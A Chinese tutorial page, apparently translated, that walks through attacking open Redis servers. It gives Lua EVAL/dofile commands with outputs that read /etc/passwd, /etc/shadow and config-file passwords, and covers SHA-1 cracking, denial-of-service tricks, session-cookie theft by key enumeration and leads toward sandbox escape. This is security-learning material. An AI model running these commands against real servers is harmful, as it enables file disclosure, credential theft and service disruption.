明輝手游網(wǎng)中心:是一個免費(fèi)提供流行視頻軟件教程、在線學(xué)習(xí)分享的學(xué)習(xí)平臺!

Trying to hack Redis via HTTP requests

[摘要]EVAL “ return dofile('/etc/passwd')” 0-ERR Error running script (call to f_afdc51b5f9e34eced5fae459fc1d856af181aaf1): /et...


EVAL “ return dofile('/etc/passwd')” 0
-ERR Error running script (call to f_afdc51b5f9e34eced5fae459fc1d856af181aaf1): /etc/passwd:1: function arguments expected near ':'

EVAL “return dofile('/etc/shadow')” 0
-ERR Error running script (call to f_9882e931901da86df9ae164705931dde018552cb): cannot open /etc/shadow: Permission denied

EVAL “return dofile('/var/www/') ” 0
-ERR Error running script (call to f_8313d384df3ee98ed965706f61fc28dcffe81f23): cannot read /var/www/: Is a directory

EVAL “return dofile('/var/www/tmp_upload/') ”0
-ERR Error running script (call to f_7acae0314580c07e65af001d53ccab85b9ad73b1): cannot open /var/www/tmp_upload/: No such file or directory

EVAL “return dofile('/home/ubuntu/.bashrc')” 0
-ERR Error running script (call to f_274aea5728cae2627f7aac34e466835e7ec570d2): /home/ubuntu/.bashrc:2: unexpected symbol near '#'

如果Lua腳本有語法錯誤或者嘗試設(shè)置全局變量時,會產(chǎn)生報錯信息,可以獲得一些我們想要的信息

EVAL “return dofile('/etc/issue')” 0
-ERR Error running script (call to f_8a4872e08ffe0c2c5eda1751de819afe587ef07a): /etc/issue:1: malformed number near '12.04.4'

EVAL “return dofile('/etc/lsb-release')” 0
-ERR Error running script (call to f_d486d29ccf27cca592a28676eba9fa49c0a02f08): /etc/lsb-release:1: Script attempted to access unexisting global variable 'Ubuntu'

EVAL “return dofile('/etc/hosts')” 0
-ERR Error running script (call to f_1c25ec3da3cade16a36d3873a44663df284f4f57): /etc/hosts:1: malformed number near '127.0.0.1'

還有一種情況,但是并不是很常見,就是調(diào)用dofile()這個函數(shù)去處理有效的Lua文件,然后返回提前定義好的值,假設(shè)這里有一個文件/var/data/app/db.conf

db = {
   login  = 'john.doe',
   passwd = 'Uber31337',
}

通過Lua腳本得到passwd的值

EVAL dofile('/var/data/app/db.conf');return(db.passwd); 0
+OK Uber31337

這個也可以獲取Unix標(biāo)準(zhǔn)文件的一些信息:

EVAL “dofile('/etc/environment');return(PATH);” 0      
+OK     /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
EVAL “dofile('/home/ubuntu/.selected_editor');return(SELECTED_EDITOR);” 0
+OK /usr/bin/nano

0x07 暴力破解

Redis提供一個redis.sha1hex()函數(shù),可以被Lua腳本調(diào)用,所以還可以通過Redis服務(wù)器進(jìn)行SHA-1的破解,相關(guān)代碼在adam_baldwin 的GitHub上(https://github.com/evilpacket/redis-sha-crack),相關(guān)原理的描述在
(http://fr.slideshare.net/evilpacket/ev1lsha-misadventures-in-the-land-of-lua需要********)
0x08 Dos

這里有很多Dos Redis的方法,例如通過調(diào)用shutdown這個命令刪除數(shù)據(jù)。

這里有更加有趣的兩個例子:

1)在Redis的控制端,調(diào)用dofile()不加任何參數(shù),將會從標(biāo)準(zhǔn)輸入讀取數(shù)據(jù),并把讀取的數(shù)據(jù)認(rèn)為是Lua腳本。這個時候服務(wù)器依舊在運(yùn)行,但是不會去處理新的連接,直到在控制端讀取到”^D”(或者重啟)。

2)Sha1hex()函數(shù)可以被覆蓋(在任何一個客戶端都可以實(shí)現(xiàn)這個效果)。下面展示一個返回固定值的sha1hex()函數(shù)
Lua腳本:

print(redis.sha1hex('secret'))
function redis.sha1hex (x)
   print('4242424242424242424242424242424242424242')
end
print(redis.sha1hex('secret'))
在Redis的控制端上

# First run
e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4
4242424242424242424242424242424242424242

# Next runs
4242424242424242424242424242424242424242
4242424242424242424242424242424242424242

0x09 數(shù)據(jù)竊取

如果Redis服務(wù)器存儲一些有趣的數(shù)據(jù)(像session cookie或商業(yè)數(shù)據(jù)),你可以通過get枚舉鍵值,獲取數(shù)據(jù)。
0x0A 加密

Lua使用完全可以預(yù)測的”隨機(jī)數(shù)”,細(xì)節(jié)在scripting.c的evalGenericCommand()函數(shù)中

/* We want the same PRNG sequence at every call so that our PRNG is* not affected by external state. */
redisSrand48(0);

每一次Lua腳本調(diào)用math.random()函數(shù)產(chǎn)生的隨機(jī)數(shù)都是相同數(shù)字流:

0.17082803611217
0.74990198051087
0.09637165539729
0.87046522734243
0.57730350670279
[...]

0x0b 遠(yuǎn)程命令執(zhí)行

為了在開放的Redis服務(wù)器上進(jìn)行命令執(zhí)行,有以下三種情況:
首先能夠修改底層的字節(jié)碼,能夠進(jìn)行虛擬機(jī)的逃逸。(Lua的一個例子https://gist.github.com/corsix/6575486);或者是繞過全局保護(hù)并且試圖訪問一些有趣的函數(shù)。

繞過全局保護(hù)是很輕松的(stackoverflow上有一個例子

http://stackoverflow.com/questions/19997647/script-attempted-to-create-global-variable)。然而這么有趣的模塊并不能加載,順便提一下,在這里還有很多有趣的東西(http://lua-users.org/wiki/SandBoxes)。
上面是電腦上網(wǎng)安全的一些基礎(chǔ)常識,學(xué)習(xí)了安全知識,幾乎可以讓你免費(fèi)電腦中毒的煩擾。